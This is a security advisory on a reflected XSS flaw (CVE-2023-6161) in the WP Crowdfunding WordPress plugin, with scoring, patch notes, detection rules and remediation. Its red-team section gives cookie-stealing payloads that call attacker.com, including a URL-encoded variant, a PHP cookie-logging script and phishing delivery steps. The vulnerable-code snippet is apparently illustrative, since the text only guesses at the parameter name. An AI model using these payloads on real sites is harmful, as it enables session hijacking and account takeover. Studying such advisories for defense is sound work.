CVE-2023-6161

Executive Summary

CVE-2023-6161 is a Reflected Cross-Site Scripting (XSS) vulnerability identified in the WP Crowdfunding WordPress plugin, versions prior to 2.1.9. The plugin fails to properly sanitize and escape a parameter before outputting it back to the page, allowing an attacker to inject arbitrary JavaScript. This flaw is particularly dangerous as it can be used against high-privilege users such as administrators, potentially leading to session hijacking, credential theft, or full site compromise. The vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation) and has a CVSS v3.1 base score of 6.1 (Medium), with a vector emphasizing network-based exploitation, low attack complexity, and required user interaction.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – No authentication needed to trigger the XSS.
• User Interaction (UI): Required – The victim must click a crafted link or visit a malicious page.
• Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure possible.
• Integrity (I): Low – Limited ability to modify content.
• Availability (A): None – No direct impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the ability to target high-privilege users (e.g., admins) elevates the risk. An attacker could use this to steal session cookies, perform actions on behalf of the admin, or install backdoors.

Deep Dive & Mechanics

The vulnerability resides in the WP Crowdfunding plugin’s handling of a specific parameter (likely page_id or a similar input field) that is reflected back into the HTML response without proper sanitization or escaping. When a user visits a crafted URL containing malicious JavaScript in that parameter, the script executes in the context of the victim’s browser session.

Attack Flow:

1. Attacker crafts a URL: http://target-site.com/wp-admin/admin.php?page=wp-crowdfunding&param=<script>alert('XSS')</script>
2. Attacker sends this link to a high-privilege user (e.g., via email or social engineering).
3. The victim, logged into WordPress as admin, clicks the link.
4. The plugin reflects the unsanitized param value into the page.
5. The injected script executes, potentially stealing cookies, performing admin actions, or redirecting to a malicious site.

Root Cause: The plugin uses echo $_GET['param'] or similar without applying esc_html() or wp_kses() functions. WordPress provides built-in escaping functions like esc_html() and esc_attr() to prevent XSS, but the plugin developer omitted them.

Vulnerable vs. Patched Code

Vulnerable Code (version < 2.1.9):

// In some template or admin page
$param = $_GET['param'];
echo $param; // No sanitization or escaping

Patched Code (version 2.1.9+):

// Properly escaped output
$param = isset($_GET['param']) ? sanitize_text_field($_GET['param']) : '';
echo esc_html($param); // Escapes HTML entities

The patch uses sanitize_text_field() to strip dangerous characters and esc_html() to encode HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with WP Crowdfunding plugin version < 2.1.9.
• A victim user with admin privileges.

Exploit Steps:

1. Identify the vulnerable parameter (e.g., page_id, tab, or section). Use a simple test: http://target/wp-admin/admin.php?page=wp-crowdfunding&test=<script>alert(1)</script>.
2. Craft a payload to steal cookies:

   http://target/wp-admin/admin.php?page=wp-crowdfunding&param=<script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>
   

3. Use URL encoding to evade filters:

   http://target/wp-admin/admin.php?page=wp-crowdfunding&param=%3Cscript%3Edocument.location%3D%27http%3A%2F%2Fattacker.com%2Fsteal.php%3Fc%3D%27%2Bdocument.cookie%3C%2Fscript%3E
   

4. Send the link to the victim via phishing email or social media.

Lab Setup:

• Use a local WordPress installation (e.g., via Docker or XAMPP).
• Install WP Crowdfunding version 2.1.8.
• Set up a simple PHP script on attacker server to capture cookies:

  <?php
  $cookie = $_GET['c'];
  file_put_contents('cookies.txt', $cookie . "\n", FILE_APPEND);
  ?>
  

Blue Team (Detection & Defense)

Detection:

• Monitor web server logs for requests containing <script> tags or encoded JavaScript in query parameters.
• Look for unusual patterns like document.cookie, fetch, or XMLHttpRequest in URL parameters.
• Use WAF rules to block common XSS payloads.

Defense:

• Immediately upgrade WP Crowdfunding to version 2.1.9 or later.
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Use WordPress security plugins (e.g., Wordfence) to add an extra layer of XSS protection.
• Educate users about phishing links and the risks of clicking untrusted URLs.

Indicators of Compromise (IOCs)

• URL Patterns: Requests to /wp-admin/admin.php?page=wp-crowdfunding with suspicious query parameters containing <script>, onerror, onload, or encoded JavaScript.
• Log Entries: HTTP 200 responses with reflected script tags in the response body.
• Cookie Theft: Outbound connections to attacker-controlled domains with cookie data in the URL (e.g., GET /steal.php?c=...).
• File Changes: Unexpected modifications to WordPress admin files or new admin users created via XSS.

Detection Engineering

YARA Rule

rule CVE_2023_6161_WP_Crowdfunding_XSS {
    meta:
        description = "Detects reflected XSS attempts against WP Crowdfunding plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-6161"
    strings:
        $xss_payload = /(<script[^>]*>|onerror=|onload=|javascript:)/
        $wp_crowdfunding = "wp-crowdfunding"
    condition:
        $wp_crowdfunding and $xss_payload
}

Sigma Rule

title: Reflected XSS Attempt Against WP Crowdfunding
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with XSS payloads targeting WP Crowdfunding plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'page=wp-crowdfunding'
        cs-uri-query|re: '(<script|onerror|onload|javascript:)'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in parameters (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-6161 WP Crowdfunding Reflected XSS"; flow:to_server,established; content:"page=wp-crowdfunding"; http_uri; pcre:"/(<script|onerror|onload|javascript:)/Ui"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update WP Crowdfunding to version 2.1.9 or later from the WordPress plugin repository.
2. Patch: If upgrade is not possible, manually apply the fix by adding esc_html() to all reflected parameters in the plugin’s PHP files.
3. WAF Rules: Deploy Web Application Firewall rules to block XSS payloads in query strings.

Long-Term Measures:

• Implement a Content Security Policy (CSP) with script-src 'self' to prevent inline script execution.
• Conduct regular security audits of all WordPress plugins.
• Use WordPress hardening plugins that enforce input validation and output escaping.
• Train administrators to recognize phishing attempts and avoid clicking suspicious links.

Valters IT Signature

Report generated by Valters IT DevSecOps Framework. For questions, contact security@valters-it.com.